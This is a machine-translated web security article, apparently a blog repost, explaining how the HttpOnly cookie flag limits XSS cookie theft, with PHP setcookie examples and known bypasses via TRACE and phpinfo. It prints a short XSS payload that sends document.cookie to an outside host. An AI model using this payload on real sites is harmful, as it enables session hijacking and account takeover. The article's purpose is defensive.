Enhance Web application security with HttpOnly

Original: http://kb.cnblogs.com/page/115136/

With the advent of WWW services, more and more applications are turning to B/s structure, so that only a single browser can access a wide variety of Web services, but this has increasingly led to more and more web security issues. WWW service relies on the implementation of HTTP protocol, HTTP is a stateless protocol, so in order to pass information between sessions, it is inevitable to use a cookie or session technology to mark the status of visitors, whether it is a cookie or session, It is generally done using cookies (the session is actually tagged with a token in the browser's cookie, the server obtains the token and checks the legitimacy to bind the corresponding state and browser stored on the server), This inevitably security focus on the cookie, as long as the cookie to obtain the identity of others, which is a wonderful thing for intruders, especially when the access to the cookie is an administrator, such as high-privileged people, the harm is even greater. Among the various web security issues, XSS vulnerabilities are particularly dangerous.

For an application, once an XSS vulnerability means that someone else can execute arbitrary JS scripts in your browser, and if the application is open source or the functionality is public, others can use Ajax to take advantage of these features, but the process is often cumbersome, Especially if you want to directly get someone else's identity to do random browsing, the difficulty is even greater. For non-open-source applications, such as the Web backend of some large sites (web2.0 a significant feature is a large number of interactions, users often need to interact with the admin in the background, such as bug reports, or information delivery, etc.), although there may be cross-site scripting vulnerabilities in the presence of the interaction, But because of the background of the lack of understanding, unable to construct the perfect Ajax code to use, even if you can use JS to get backstage code and return analysis, but the process is also cumbersome and not hidden. At this point, the use of XSS vulnerabilities to obtain a cookie or session hijacking is very effective, specific analysis of the application certification, and then use some skills, even if the other side quit the program is also the same as permanent access to each other's identity.

So how do I get a cookie or a session hijacking? In the Document object in the browser, the cookie information is stored, and JS can be used to remove the cookie, as long as the cookie can be the identity of others. A typical XSS attack statement is as follows:

XSS Exp:
Url=document.top.location.href;
Cookie=document.cookie;
C=new Image ();
C.src= ' http://www.loveshell.net/c.php?c= ' +cookie+ ' &u= ' +url;

Some applications take into account the problem, so browser binding techniques, such as binding cookies and browser user-agent, are considered to be invalid if a change is found. This method has proved to be ineffective, because when the intruder steals the cookie, he must have acquired the user-agent at the same time. There is another strict is to bind the cookie and remote-addr (in fact, and IP binding, but some of the methods of obtaining IP in the same way as a result of the inconvenience), but this brings a poor user experience, the replacement of IP is a frequent thing, such as work and home is 2 IP, So this approach is often not used. So cookie-based attack patterns are now very popular, and in some Web 2.0 sites it's easy to get an application's administrator status.

How can we protect our sensitive cookies? Through the above analysis, the general cookie is obtained from the document object, we just let the sensitive cookie browser document is not visible on the line. Fortunately, now the browser in the setting of the cookie generally accepts a parameter called HttpOnly, like domain and other parameters, once the HttpOnly is set, you can not see the cookie in the browser Document object, The browser is not affected when browsing, because the cookie will be placed in the browser header to send out (including Ajax), the application is generally not in JS operation of these sensitive cookies, for some sensitive cookies we use HttpOnly, For some cookies that need to be manipulated in the application, we will not set it, thus guaranteeing the security of cookie information and ensuring the application. For httponly instructions You can refer to http://msdn2.microsoft.com/en-us/library/ms533046.aspx.

The header for the browser setting cookie is as follows:

Set-cookie: =[; =]
[; expires=] [; domain=]
[; Path=] [; secure] [; HttpOnly]

In PHP, for example, the Setcookie function has been added to the HttpOnly support in the PHP 5.2 version, for example:

Setcookie ("abc", "Test", null,null,null,null,true);

You can set the ABC cookie to set it to httponly,document will not be visible to this cookie. Because the Setcookie function is essentially a header, you can use the header to set the HttpOnly. Then use Document.cookie to see that the cookie has not been taken. We use this method to protect the benefit such as SessionID, such as some for authentication Auth-cookie, do not have to worry about identity is obtained, which for some background programs and webmail to enhance the security significance is significant. Using the above attack technique again, we can see that we can't get the sensitive cookie that we set as HttpOnly.

However, you can also see that httponly is not omnipotent, first of all, it does not solve the problem of XSS, still can not resist the attacks of some patient hackers, nor prevent intruders to do Ajax submissions, and even some XSS-based proxies appear, but can improve the threshold of attack, At least XSS attacks are not something that every scripting kid can do, and other attacks are not as generic as cookie theft because of some environmental and technical limitations.

HttpOnly is also possible to exploit some of the vulnerabilities or configuration bypass, the key issue is as long as the browser sent to the cookie header can be taken. For example, a previous HTTP trace attack can show the cookie in your header, which can be done with Ajax or Flash, and has been patched in Ajax and Flash. Another notable example of what might be bypass on a configuration or application is Phpinfo, who knows that Phpinfo will show the HTTP headers sent by the browser, including the Auth information we have protected, which is often present on various sites, Just use Ajax to fetch the Phpinfo page, take out the corresponding part of header to get the cookie. The imperfections of some applications can also lead to the disclosure of header headers, an attack that is as aggressive as the Basic authentication-protected page.

HttpOnly above IE 6, the newer version of Firefox has been better supported, and in applications such as Hotmail are widely used, and has achieved a better security effect.

Related English article: HttpOnly

Related blog posts: httpcookie.httponly VS cookie.httponly? (Downmoon original)

Improve Web Application Security with HttpOnly (GO)